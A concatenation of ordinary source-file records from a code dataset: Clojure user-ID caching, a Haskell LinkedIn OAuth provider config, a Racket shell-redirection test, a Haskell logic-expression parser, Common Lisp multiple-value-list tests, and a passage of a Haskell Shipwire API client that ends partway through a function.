(defn put-id [{:keys [cache]} instance-id email id]
(swap! cache cache/miss [instance-id email] id))
(defn has? [{:keys [cache]} instance-id email]
(cache/has? @cache [instance-id email]))
(defn id-by-email [{:keys [user-cache unknown-user-cache]} instance-id email]
(or
(get-id user-cache instance-id email)
(when-not (has? unknown-user-cache instance-id email)
(let [id (user/id email)
which-cache (if id user-cache unknown-user-cache)]
(put-id which-cache instance-id email id)
id))))
(defn id-by-email-or-throw-error [remote-api instance-id email]
(or
(id-by-email remote-api instance-id email)
(anomaly/unauthorized "User does not exist" {:email email})))
| null | https://raw.githubusercontent.com/akvo/akvo-flow-api/a4ac1158fe25d64639add86a075c47f8b01b9b68/api/src/clojure/org/akvo/flow_api/boundary/user.clj | clojure | (ns org.akvo.flow-api.boundary.user
(:require [clojure.core.cache :as cache]
org.akvo.flow-api.component.cache
org.akvo.flow-api.component.remote-api
[org.akvo.flow-api.datastore.user :as user]
[org.akvo.flow-api.anomaly :as anomaly]))
(defn get-id [{:keys [cache]} instance-id email]
(cache/lookup @cache [instance-id email]))
(defn put-id [{:keys [cache]} instance-id email id]
(swap! cache cache/miss [instance-id email] id))
(defn has? [{:keys [cache]} instance-id email]
(cache/has? @cache [instance-id email]))
(defn id-by-email [{:keys [user-cache unknown-user-cache]} instance-id email]
(or
(get-id user-cache instance-id email)
(when-not (has? unknown-user-cache instance-id email)
(let [id (user/id email)
which-cache (if id user-cache unknown-user-cache)]
(put-id which-cache instance-id email id)
id))))
(defn id-by-email-or-throw-error [remote-api instance-id email]
(or
(id-by-email remote-api instance-id email)
(anomaly/unauthorized "User does not exist" {:email email})))
| |
17237e35a66b962669decd3da5ee581057af6c187978ea90fb3dbde3298faf7a | rems-project/lem | llist.mli | val map : ('a -> 'b) -> 'a list -> 'b list
| null | https://raw.githubusercontent.com/rems-project/lem/a839114e468119d9ac0868d7dc53eae7f3cc3a6c/ocaml-lib/llist.mli | ocaml | val map : ('a -> 'b) -> 'a list -> 'b list
| |
803df03074815ba772da4b121ce416f42bf5c59dd767b945fd38aab708ed79e4 | freizl/hoauth2 | Linkedin.hs | # LANGUAGE DeriveGeneric #
{-# LANGUAGE OverloadedStrings #-}
# LANGUAGE QuasiQuotes #
# LANGUAGE RecordWildCards #
# LANGUAGE TypeFamilies #
| [ LinkedIn Authenticating with OAuth 2.0 Overview]( / en - us / linkedin / shared / authentication / authentication?context = linkedin%2Fcontext )
module Network.OAuth2.Provider.Linkedin where
import Data.Aeson
import Data.Map.Strict qualified as Map
import Data.Set qualified as Set
import Data.Text.Lazy (Text)
import GHC.Generics
import Network.OAuth.OAuth2
import Network.OAuth2.Experiment
import URI.ByteString.QQ
data Linkedin = Linkedin deriving (Eq, Show)
type instance IdpUserInfo Linkedin = LinkedinUser
defaultLinkedinApp :: IdpApplication 'AuthorizationCode Linkedin
defaultLinkedinApp =
AuthorizationCodeIdpApplication
{ idpAppClientId = ""
, idpAppClientSecret = ""
, idpAppScope = Set.fromList ["r_liteprofile"]
, idpAppAuthorizeState = "CHANGE_ME"
, idpAppAuthorizeExtraParams = Map.empty
, idpAppRedirectUri = [uri||]
, idpAppName = "default-linkedin-App"
, idpAppTokenRequestAuthenticationMethod = ClientSecretPost
, idp = defaultLinkedinIdp
}
defaultLinkedinIdp :: Idp Linkedin
defaultLinkedinIdp =
Idp
{ idpFetchUserInfo = authGetJSON @(IdpUserInfo Linkedin)
, idpUserInfoEndpoint = [uri||]
, idpAuthorizeEndpoint = [uri||]
, idpTokenEndpoint = [uri||]
}
data LinkedinUser = LinkedinUser
{ localizedFirstName :: Text
, localizedLastName :: Text
}
deriving (Show, Generic, Eq)
instance FromJSON LinkedinUser
| null | https://raw.githubusercontent.com/freizl/hoauth2/8610da5ec2565e5d70c590fbde8689c6af025b78/hoauth2-providers/src/Network/OAuth2/Provider/Linkedin.hs | haskell | # LANGUAGE OverloadedStrings # | # LANGUAGE DeriveGeneric #
# LANGUAGE QuasiQuotes #
# LANGUAGE RecordWildCards #
# LANGUAGE TypeFamilies #
| [ LinkedIn Authenticating with OAuth 2.0 Overview]( / en - us / linkedin / shared / authentication / authentication?context = linkedin%2Fcontext )
module Network.OAuth2.Provider.Linkedin where
import Data.Aeson
import Data.Map.Strict qualified as Map
import Data.Set qualified as Set
import Data.Text.Lazy (Text)
import GHC.Generics
import Network.OAuth.OAuth2
import Network.OAuth2.Experiment
import URI.ByteString.QQ
data Linkedin = Linkedin deriving (Eq, Show)
type instance IdpUserInfo Linkedin = LinkedinUser
defaultLinkedinApp :: IdpApplication 'AuthorizationCode Linkedin
defaultLinkedinApp =
AuthorizationCodeIdpApplication
{ idpAppClientId = ""
, idpAppClientSecret = ""
, idpAppScope = Set.fromList ["r_liteprofile"]
, idpAppAuthorizeState = "CHANGE_ME"
, idpAppAuthorizeExtraParams = Map.empty
, idpAppRedirectUri = [uri||]
, idpAppName = "default-linkedin-App"
, idpAppTokenRequestAuthenticationMethod = ClientSecretPost
, idp = defaultLinkedinIdp
}
defaultLinkedinIdp :: Idp Linkedin
defaultLinkedinIdp =
Idp
{ idpFetchUserInfo = authGetJSON @(IdpUserInfo Linkedin)
, idpUserInfoEndpoint = [uri||]
, idpAuthorizeEndpoint = [uri||]
, idpTokenEndpoint = [uri||]
}
data LinkedinUser = LinkedinUser
{ localizedFirstName :: Text
, localizedLastName :: Text
}
deriving (Show, Generic, Eq)
instance FromJSON LinkedinUser
|
65372e3def726f336f3db1c618defdd3a4d7245ce30a960eccd8dc50bf9e3e85 | eslick/cl-registry | diary.lisp | (in-package :registry)
(registry-proclamations)
;; ==============================================================
;; Diary support
;; ==============================================================
(defmodel diary-answer (answer)
((ref-value :accessor reference-value :initarg :reference-value)
(ref-duration :accessor reference-duration :initarg :reference-duration)))
(defun make-duplicate-answer (question value reference &optional duration)
(declare (ignore value))
(make-instance 'diary-answer
:question question
:user (current-user)
:entry-time (get-universal-time)
:reference-value reference
:reference-duration duration))
| null | https://raw.githubusercontent.com/eslick/cl-registry/d4015c400dc6abf0eeaf908ed9056aac956eee82/attic/diary.lisp | lisp | ==============================================================
Diary support
============================================================== | (in-package :registry)
(registry-proclamations)
(defmodel diary-answer (answer)
((ref-value :accessor reference-value :initarg :reference-value)
(ref-duration :accessor reference-duration :initarg :reference-duration)))
(defun make-duplicate-answer (question value reference &optional duration)
(declare (ignore value))
(make-instance 'diary-answer
:question question
:user (current-user)
:entry-time (get-universal-time)
:reference-value reference
:reference-duration duration))
|
f78d4a4fcc3109abcea46f39c53b8c224f66edb68f72e865bcc45addcfcd955a | rescript-lang/rescript-compiler | pprintast.mli | (**************************************************************************)
(* *)
(* OCaml *)
(* *)
( University of Pennsylvania )
(* *)
Copyright 1996 Institut National de Recherche en Informatique et
(* en Automatique. *)
(* *)
(* All rights reserved. This file is distributed under the terms of *)
the GNU Lesser General Public License version 2.1 , with the
(* special exception on linking described in the file LICENSE. *)
(* *)
(**************************************************************************)
type space_formatter = (unit, Format.formatter, unit) format
val expression : Format.formatter -> Parsetree.expression -> unit
val string_of_expression : Parsetree.expression -> string
val core_type: Format.formatter -> Parsetree.core_type -> unit
val pattern: Format.formatter -> Parsetree.pattern -> unit
val signature: Format.formatter -> Parsetree.signature -> unit
val structure: Format.formatter -> Parsetree.structure -> unit
val string_of_structure: Parsetree.structure -> string
val string_of_int_as_char: int -> string
| null | https://raw.githubusercontent.com/rescript-lang/rescript-compiler/5da6c88fb9237fbc4d61640187b82627690ccf39/jscomp/ml/pprintast.mli | ocaml | ************************************************************************
OCaml
en Automatique.
All rights reserved. This file is distributed under the terms of
special exception on linking described in the file LICENSE.
************************************************************************ | ( University of Pennsylvania )
Copyright 1996 Institut National de Recherche en Informatique et
the GNU Lesser General Public License version 2.1 , with the
type space_formatter = (unit, Format.formatter, unit) format
val expression : Format.formatter -> Parsetree.expression -> unit
val string_of_expression : Parsetree.expression -> string
val core_type: Format.formatter -> Parsetree.core_type -> unit
val pattern: Format.formatter -> Parsetree.pattern -> unit
val signature: Format.formatter -> Parsetree.signature -> unit
val structure: Format.formatter -> Parsetree.structure -> unit
val string_of_structure: Parsetree.structure -> string
val string_of_int_as_char: int -> string
|
f1566cb2affecff7da40d87daf57a23e3cd64fcc09527b48cc1b63a921ad4dd1 | willghatch/racket-rash | unix-pipe-misc.rkt | #lang rash
(module+ non-sandboxed-test
{
(require rackunit basedir)
;; I should find out what the real limit is,
;; but this is enough to trip the bad behavior but not take forever.
(define test-dir (writable-runtime-dir
#:program "rash-package-test/unix-pipe-misc"))
(define p+ep-out-str "p+ep stdout")
(define p+ep-err-str "p+ep stderr")
(define (p+ep)
(printf p+ep-out-str)
(flush-output (current-output-port))
(eprintf p+ep-err-str)
(flush-output (current-error-port))
)
mkdir -p $test-dir
$p+ep #:e>! $test-dir/p+ep-err &>! $test-dir/p+ep-out
(check-equal?
#{cat $test-dir/p+ep-err}
p+ep-err-str)
(check-equal?
#{cat $test-dir/p+ep-out}
p+ep-out-str)
(check-not-exn (λ () {echo hi &> $test-dir/out1}))
(check-exn exn? (λ () {echo hi &> $test-dir/out1}))
(check-not-exn (λ () {echo hi &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/out1} "hi")
(check-not-exn (λ () {echo bye &>> $test-dir/out1}))
(check-equal? #{cat $test-dir/out1} "hi\nbye")
(check-not-exn (λ () {$p+ep #:e> $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} p+ep-err-str)
(check-exn exn? (λ () {$p+ep #:e> $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} p+ep-err-str)
(check-not-exn (λ () {$p+ep #:e>! $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} p+ep-err-str)
(check-not-exn (λ () {$p+ep #:e>> $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} (string-append p+ep-err-str p+ep-err-str))
(check-not-exn (λ () {$p+ep #:err stdout-redirect &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/out1} (string-append p+ep-out-str p+ep-err-str))
rm -rf $test-dir
}
)
| null | https://raw.githubusercontent.com/willghatch/racket-rash/c40c5adfedf632bc1fdbad3e0e2763b134ee3ff5/rash/private/test/unix-pipe-misc.rkt | racket | I should find out what the real limit is,
but this is enough to trip the bad behavior but not take forever. | #lang rash
(module+ non-sandboxed-test
{
(require rackunit basedir)
(define test-dir (writable-runtime-dir
#:program "rash-package-test/unix-pipe-misc"))
(define p+ep-out-str "p+ep stdout")
(define p+ep-err-str "p+ep stderr")
(define (p+ep)
(printf p+ep-out-str)
(flush-output (current-output-port))
(eprintf p+ep-err-str)
(flush-output (current-error-port))
)
mkdir -p $test-dir
$p+ep #:e>! $test-dir/p+ep-err &>! $test-dir/p+ep-out
(check-equal?
#{cat $test-dir/p+ep-err}
p+ep-err-str)
(check-equal?
#{cat $test-dir/p+ep-out}
p+ep-out-str)
(check-not-exn (λ () {echo hi &> $test-dir/out1}))
(check-exn exn? (λ () {echo hi &> $test-dir/out1}))
(check-not-exn (λ () {echo hi &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/out1} "hi")
(check-not-exn (λ () {echo bye &>> $test-dir/out1}))
(check-equal? #{cat $test-dir/out1} "hi\nbye")
(check-not-exn (λ () {$p+ep #:e> $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} p+ep-err-str)
(check-exn exn? (λ () {$p+ep #:e> $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} p+ep-err-str)
(check-not-exn (λ () {$p+ep #:e>! $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} p+ep-err-str)
(check-not-exn (λ () {$p+ep #:e>> $test-dir/err1 &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/err1} (string-append p+ep-err-str p+ep-err-str))
(check-not-exn (λ () {$p+ep #:err stdout-redirect &>! $test-dir/out1}))
(check-equal? #{cat $test-dir/out1} (string-append p+ep-out-str p+ep-err-str))
rm -rf $test-dir
}
)
|
7e98ecc9c755f02150aae4c51d0e74214e4a74bb214416385ecf55e5002fda0a | NorfairKing/smos | Gen.hs | # OPTIONS_GHC -fno - warn - orphans #
module Smos.Calendar.Import.Event.Gen where
import Data.GenValidity
import Smos.Calendar.Import.Event
import Smos.Calendar.Import.Static.Gen ()
import Smos.Data.Gen ()
instance GenValid Events where
shrinkValid = shrinkValidStructurally
genValid = genValidStructurally
instance GenValid Event where
shrinkValid = shrinkValidStructurally
genValid = genValidStructurally
| null | https://raw.githubusercontent.com/NorfairKing/smos/f72b26c2e66ab4f3ec879a1bedc6c0e8eeb18a01/smos-calendar-import/test/Smos/Calendar/Import/Event/Gen.hs | haskell | # OPTIONS_GHC -fno - warn - orphans #
module Smos.Calendar.Import.Event.Gen where
import Data.GenValidity
import Smos.Calendar.Import.Event
import Smos.Calendar.Import.Static.Gen ()
import Smos.Data.Gen ()
instance GenValid Events where
shrinkValid = shrinkValidStructurally
genValid = genValidStructurally
instance GenValid Event where
shrinkValid = shrinkValidStructurally
genValid = genValidStructurally
| |
a6d92dffff512764336d2bb1901b2f9c96c36bfed7954e9c4237a1ef40e0cf66 | kqr/gists | logicparser.hs | -- Conforms to
( 0x44 or 0x22 ) and ( 0x32 or ( not 0x39 ) ) = = > 102
module Main where
import Data.Bits
import Text.Parsec
import Text.Parsec.String
import Control.Applicative ((<$>))
import Numeric (readHex)
type Operator = Expression -> Expression -> Expression
data Expression = Literal Int
| Not Expression
| And Expression Expression
| Or Expression Expression
| Xor Expression Expression
deriving Show
compute :: Expression -> Int
compute exp = case exp of
(Literal n) -> n
(Not exp1) -> complement $ compute exp1
(And exp1 exp2) -> compute exp1 .&. compute exp2
(Or exp1 exp2) -> compute exp1 .|. compute exp2
(Xor exp1 exp2) -> compute exp1 `xor` compute exp2
literal = string "0x" >> many1 hexDigit >>= return . Literal . fst . (!!0) . readHex
negation = string "not" >> spaces >> hardExpression >>= return . Not
binary = do
exp1 <- hardExpression
spaces
op <- string "and" <|> string "or" <|> string "xor"
spaces
exp2 <- hardExpression
return $ case op of
"and" -> And exp1 exp2
"or" -> Or exp1 exp2
"xor" -> Xor exp1 exp2
parenthetical = do
char '('
expr <- expression
char ')'
return expr
hardExpression = literal <|> parenthetical
expression :: Parser Expression
expression = try binary <|> negation <|> hardExpression
main = do
str <- getLine
putStrLn $
case parse expression "" str of
Right expr -> show $ compute expr
Left err -> show err
| null | https://raw.githubusercontent.com/kqr/gists/b0b5ab2a6af0f939a9e24165959bb362281ce897/marshalling/parsing/logicparser.hs | haskell | Conforms to | ( 0x44 or 0x22 ) and ( 0x32 or ( not 0x39 ) ) = = > 102
module Main where
import Data.Bits
import Text.Parsec
import Text.Parsec.String
import Control.Applicative ((<$>))
import Numeric (readHex)
type Operator = Expression -> Expression -> Expression
data Expression = Literal Int
| Not Expression
| And Expression Expression
| Or Expression Expression
| Xor Expression Expression
deriving Show
compute :: Expression -> Int
compute exp = case exp of
(Literal n) -> n
(Not exp1) -> complement $ compute exp1
(And exp1 exp2) -> compute exp1 .&. compute exp2
(Or exp1 exp2) -> compute exp1 .|. compute exp2
(Xor exp1 exp2) -> compute exp1 `xor` compute exp2
literal = string "0x" >> many1 hexDigit >>= return . Literal . fst . (!!0) . readHex
negation = string "not" >> spaces >> hardExpression >>= return . Not
binary = do
exp1 <- hardExpression
spaces
op <- string "and" <|> string "or" <|> string "xor"
spaces
exp2 <- hardExpression
return $ case op of
"and" -> And exp1 exp2
"or" -> Or exp1 exp2
"xor" -> Xor exp1 exp2
parenthetical = do
char '('
expr <- expression
char ')'
return expr
hardExpression = literal <|> parenthetical
expression :: Parser Expression
expression = try binary <|> negation <|> hardExpression
main = do
str <- getLine
putStrLn $
case parse expression "" str of
Right expr -> show $ compute expr
Left err -> show err
|
818cf32a578f9f5119319d8f68d2b081726ace2cd6ab668dd7443421bac04803 | pfdietz/ansi-test | multiple-value-list.lsp | ;-*- Mode: Lisp -*-
Author :
Created : Mon Feb 17 06:38:07 2003
;;;; Contains: Tests of MULTIPLE-VALUE-LIST
(deftest multiple-value-list.1
(multiple-value-list 'a)
(a))
(deftest multiple-value-list.2
(multiple-value-list (values))
nil)
(deftest multiple-value-list.3
(multiple-value-list (values 'a 'b 'c 'd 'e))
(a b c d e))
(deftest multiple-value-list.4
(multiple-value-list (values (values 'a 'b 'c 'd 'e)))
(a))
(deftest multiple-value-list.5
(multiple-value-list (values 'a))
(a))
(deftest multiple-value-list.6
(multiple-value-list (values 'a 'b))
(a b))
(deftest multiple-value-list.7
(not
(loop
for i from 0 below (min multiple-values-limit 100)
for x = (make-list i :initial-element 'a)
always (equal x (multiple-value-list (values-list x)))))
nil)
;;; Test that explicit calls to macroexpand in subforms
;;; are done in the correct environment
(deftest multiple-value-list.8
(macrolet
((%m (z) z))
(multiple-value-list (expand-in-current-env (%m 1))))
(1))
(deftest multiple-value-list.9
(macrolet
((%m (z) z))
(multiple-value-list (expand-in-current-env (%m (values 1 2 3)))))
(1 2 3))
;;; Test that the argument is evaluated just once
(deftest multiple-value-list.order.1
(let ((i 0))
(values (multiple-value-list (incf i)) i))
(1) 1)
;;; Error tests
(deftest multiple-value-list.error.1
(signals-error (funcall (macro-function 'multiple-value-list))
program-error)
t)
(deftest multiple-value-list.error.2
(signals-error (funcall (macro-function 'multiple-value-list)
'(multiple-value-list nil))
program-error)
t)
(deftest multiple-value-list.error.3
(signals-error (funcall (macro-function 'multiple-value-list)
'(multiple-value-list nil)
nil nil)
program-error)
t)
| null | https://raw.githubusercontent.com/pfdietz/ansi-test/3f4b9d31c3408114f0467eaeca4fd13b28e2ce31/data-and-control-flow/multiple-value-list.lsp | lisp | -*- Mode: Lisp -*-
Contains: Tests of MULTIPLE-VALUE-LIST
Test that explicit calls to macroexpand in subforms
are done in the correct environment
Test that the argument is evaluated just once
Error tests | Author :
Created : Mon Feb 17 06:38:07 2003
(deftest multiple-value-list.1
(multiple-value-list 'a)
(a))
(deftest multiple-value-list.2
(multiple-value-list (values))
nil)
(deftest multiple-value-list.3
(multiple-value-list (values 'a 'b 'c 'd 'e))
(a b c d e))
(deftest multiple-value-list.4
(multiple-value-list (values (values 'a 'b 'c 'd 'e)))
(a))
(deftest multiple-value-list.5
(multiple-value-list (values 'a))
(a))
(deftest multiple-value-list.6
(multiple-value-list (values 'a 'b))
(a b))
(deftest multiple-value-list.7
(not
(loop
for i from 0 below (min multiple-values-limit 100)
for x = (make-list i :initial-element 'a)
always (equal x (multiple-value-list (values-list x)))))
nil)
(deftest multiple-value-list.8
(macrolet
((%m (z) z))
(multiple-value-list (expand-in-current-env (%m 1))))
(1))
(deftest multiple-value-list.9
(macrolet
((%m (z) z))
(multiple-value-list (expand-in-current-env (%m (values 1 2 3)))))
(1 2 3))
(deftest multiple-value-list.order.1
(let ((i 0))
(values (multiple-value-list (incf i)) i))
(1) 1)
(deftest multiple-value-list.error.1
(signals-error (funcall (macro-function 'multiple-value-list))
program-error)
t)
(deftest multiple-value-list.error.2
(signals-error (funcall (macro-function 'multiple-value-list)
'(multiple-value-list nil))
program-error)
t)
(deftest multiple-value-list.error.3
(signals-error (funcall (macro-function 'multiple-value-list)
'(multiple-value-list nil)
nil nil)
program-error)
t)
|
640bae9b8bc4dd9dda922b49fbe8ec0d40fdf61e67fbef1ed0c8e30e8ce825c0 | alexeyzab/ballast | Client.hs | # LANGUAGE FlexibleContexts #
{-# LANGUAGE OverloadedStrings #-}
# LANGUAGE RecordWildCards #
module Ballast.Client where
import Ballast.Types
import Data.Aeson (eitherDecode, encode)
import Data.Aeson.Types
import qualified Data.ByteString.Char8 as BS8
import qualified Data.ByteString.Lazy.Char8 as BSL
import Data.Maybe (isNothing, fromJust)
import Data.Monoid ((<>))
import qualified Data.Text as T
import Network.HTTP.Client
import Network.HTTP.Client.TLS
import qualified Network.HTTP.Types.Method as NHTM
-- | Conversion of a key value pair to a query parameterized string
paramsToByteString ::
[Query]
-> BS8.ByteString
paramsToByteString [] = mempty
paramsToByteString [x] = fst (unQuery x) <> "=" <> (snd $ unQuery x)
paramsToByteString (x : xs) =
mconcat [fst $ unQuery x, "=", (snd $ unQuery x), "&"] <> paramsToByteString xs
-- | Generate a real-time shipping quote
-- /
createRateRequest :: GetRate -> ShipwireRequest RateRequest TupleBS8 BSL.ByteString
createRateRequest getRate = mkShipwireRequest NHTM.methodPost url params
where
url = "/rate"
params = Params (Just $ Body (encode getRate)) []
-- | Get stock information for your products.
-- /
getStockInfo :: ShipwireRequest StockRequest TupleBS8 BSL.ByteString
getStockInfo = mkShipwireRequest NHTM.methodGet url params
where
url = "/stock"
params = Params Nothing []
-- | Get an itemized list of receivings.
-- /#panel-shipwire0
getReceivings :: ShipwireRequest GetReceivingsRequest TupleBS8 BSL.ByteString
getReceivings = mkShipwireRequest NHTM.methodGet url params
where
url = "/receivings"
params = Params Nothing []
-- | Create a new receiving
-- /#panel-shipwire1
createReceiving :: CreateReceiving -> ShipwireRequest CreateReceivingRequest TupleBS8 BSL.ByteString
createReceiving crReceiving = mkShipwireRequest NHTM.methodPost url params
where
url = "/receivings"
params = Params (Just $ Body (encode crReceiving)) []
-- | Get information about this receiving.
-- /#panel-shipwire2
getReceiving :: ReceivingId -> ShipwireRequest GetReceivingRequest TupleBS8 BSL.ByteString
getReceiving receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.append "/receivings/" $ getReceivingId receivingId
params = Params Nothing []
-- | Modify information about this receiving.
-- /#panel-shipwire3
modifyReceiving :: ReceivingId -> ModifyReceiving -> ShipwireRequest ModifyReceivingRequest TupleBS8 BSL.ByteString
modifyReceiving receivingId modReceiving = request
where
request = mkShipwireRequest NHTM.methodPut url params
url = T.append "/receivings/" $ getReceivingId receivingId
params = Params (Just $ Body (encode modReceiving)) []
-- | Cancel this receiving.
-- /#panel-shipwire4
cancelReceiving :: ReceivingId -> ShipwireRequest CancelReceivingRequest TupleBS8 BSL.ByteString
cancelReceiving receivingId = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/cancel"]
params = Params Nothing []
-- | Cancel shipping labels on this receiving.
-- /#panel-shipwire5
cancelReceivingLabels :: ReceivingId -> ShipwireRequest CancelReceivingLabelsRequest TupleBS8 BSL.ByteString
cancelReceivingLabels receivingId = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/labels/cancel"]
params = Params Nothing []
-- | Get the list of holds, if any, on this receiving.
-- /#panel-shipwire6
getReceivingHolds :: ReceivingId -> ShipwireRequest GetReceivingHoldsRequest TupleBS8 BSL.ByteString
getReceivingHolds receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/holds"]
params = Params Nothing []
-- | Get email recipients and instructions for this receiving.
-- /#panel-shipwire7
getReceivingInstructionsRecipients :: ReceivingId -> ShipwireRequest GetReceivingInstructionsRecipientsRequest TupleBS8 BSL.ByteString
getReceivingInstructionsRecipients receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/instructionsRecipients"]
params = Params Nothing []
-- | Get the contents of this receiving.
/#panel-shipwire8
getReceivingItems :: ReceivingId -> ShipwireRequest GetReceivingItemsRequest TupleBS8 BSL.ByteString
getReceivingItems receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/items"]
params = Params Nothing []
-- | Get shipping dimension and container information.
-- /#panel-shipwire9
getReceivingShipments :: ReceivingId -> ShipwireRequest GetReceivingShipmentsRequest TupleBS8 BSL.ByteString
getReceivingShipments receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/shipments"]
params = Params Nothing []
-- | Get tracking information for this receiving.
-- /#panel-shipwire10
getReceivingTrackings :: ReceivingId -> ShipwireRequest GetReceivingTrackingsRequest TupleBS8 BSL.ByteString
getReceivingTrackings receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/trackings"]
params = Params Nothing []
-- | Get labels information for this receiving.
-- /#panel-shipwire11
getReceivingLabels :: ReceivingId -> ShipwireRequest GetReceivingLabelsRequest TupleBS8 BSL.ByteString
getReceivingLabels receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/labels"]
params = Params Nothing []
-- | Get an itemized list of products.
-- /#panel-shipwire0
getProducts :: ShipwireRequest GetProductsRequest TupleBS8 BSL.ByteString
getProducts = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = "/products"
params = Params Nothing []
-- | Create new products of any classification.
-- /#panel-shipwire1
createProduct :: [CreateProductsWrapper] -> ShipwireRequest CreateProductsRequest TupleBS8 BSL.ByteString
createProduct cpr = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = "/products"
params = Params (Just $ Body (encode cpr)) []
-- | Modify products of any classification.
-- /#panel-shipwire2
modifyProducts :: [CreateProductsWrapper] -> ShipwireRequest ModifyProductsRequest TupleBS8 BSL.ByteString
modifyProducts mpr = request
where
request = mkShipwireRequest NHTM.methodPut url params
url = "/products"
params = Params (Just $ Body (encode mpr)) []
-- | Modify a product.
-- /#panel-shipwire3
modifyProduct :: CreateProductsWrapper -> Id -> ShipwireRequest ModifyProductRequest TupleBS8 BSL.ByteString
modifyProduct mpr productId = request
where
request = mkShipwireRequest NHTM.methodPut url params
url = T.append "/products/" $ T.pack . show $ unId productId
params = Params (Just $ Body (encode mpr)) []
-- | Get information about a product.
-- /#panel-shipwire4
getProduct :: Id -> ShipwireRequest GetProductRequest TupleBS8 BSL.ByteString
getProduct productId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.append "/products/" $ T.pack . show $ unId productId
params = Params Nothing []
-- | Indicates that the listed products will not longer be used.
-- /#panel-shipwire5
retireProducts :: ProductsToRetire -> ShipwireRequest RetireProductsRequest TupleBS8 BSL.ByteString
retireProducts ptr = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = "/products/retire"
params = Params (Just $ Body (encode ptr)) []
-- | Get an itemized list of orders.
-- /#panel-shipwire0
getOrders :: ShipwireRequest GetOrdersRequest TupleBS8 BSL.ByteString
getOrders = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = "/orders"
params = Params Nothing []
-- | Get information about this order.
-- /#panel-shipwire1
getOrder :: IdWrapper -> ShipwireRequest GetOrderRequest TupleBS8 BSL.ByteString
getOrder idw = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = case idw of
(WrappedId x) -> T.concat ["/orders/", T.pack . show $ unId x]
(WrappedExternalId x) -> T.concat ["/orders/E", unExternalId x]
params = Params Nothing []
-- | Create a new order.
-- /#panel-shipwire2
createOrder :: CreateOrder -> ShipwireRequest CreateOrderRequest TupleBS8 BSL.ByteString
createOrder co = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = "/orders"
params = Params (Just $ Body (encode co)) []
-- | Cancel this order.
-- /#panel-shipwire4
cancelOrder :: IdWrapper -> ShipwireRequest CancelOrderRequest TupleBS8 BSL.ByteString
cancelOrder idw = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = case idw of
(WrappedId x) -> T.concat ["/orders/", T.pack . show $ unId x, "/cancel"]
(WrappedExternalId x) -> T.concat ["/orders/E", unExternalId x, "/cancel"]
params = Params Nothing []
-- | Get tracking information for this order.
-- /#panel-shipwire7
getOrderTrackings :: IdWrapper -> ShipwireRequest GetOrderTrackingsRequest TupleBS8 BSL.ByteString
getOrderTrackings idwr = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = case idwr of
(WrappedId x) -> T.concat ["/orders/", T.pack . show $ unId x, "/trackings"]
(WrappedExternalId x) -> T.concat ["/orders/E", unExternalId x, "/trackings"]
params = Params Nothing []
-- | Validate Address
-- -validation
validateAddress :: AddressToValidate -> ShipwireRequest ValidateAddressRequest TupleBS8 BSL.ByteString
validateAddress atv = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = ".1/addressValidation"
params = Params (Just $ Body (encode atv)) []
shipwire' :: ShipwireConfig
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> IO (Response BSL.ByteString)
shipwire' ShipwireConfig {..} ShipwireRequest {..} = do
manager <- newManager tlsManagerSettings
initReq <- parseRequest $ T.unpack $ T.append (hostUri host) endpoint
let reqBody | rMethod == NHTM.methodGet = mempty
| isNothing (paramsBody params) = mempty
| otherwise = unBody $ fromJust $ paramsBody params
req = initReq { method = rMethod
, requestBody = RequestBodyLBS reqBody
, queryString = paramsToByteString $ paramsQuery params
}
shipwireUser = unUsername email
shipwirePass = unPassword pass
authorizedRequest = applyBasicAuth shipwireUser shipwirePass req
httpLbs authorizedRequest manager
data ShipwireError =
ShipwireError {
parseError :: String
, shipwireResponse :: Response BSL.ByteString
} deriving (Eq, Show)
-- | Create a request to `Shipwire`'s API
shipwire
:: (FromJSON (ShipwireReturn a))
=> ShipwireConfig
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> IO (Either ShipwireError (ShipwireReturn a))
shipwire config request = do
response <- shipwire' config request
let result = eitherDecode $ responseBody response
case result of
Left s -> return (Left (ShipwireError s response))
Right r -> return (Right r)
-- | This function is only used internally to speed up the test suite.
-- Instead of creating a new Manager we reuse the same one.
shipwireTest ::
(FromJSON (ShipwireReturn a))
=> ShipwireConfig
-> Manager
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> IO (Either ShipwireError (ShipwireReturn a))
shipwireTest config tlsManager request = do
response <- shipwireTest' config request tlsManager
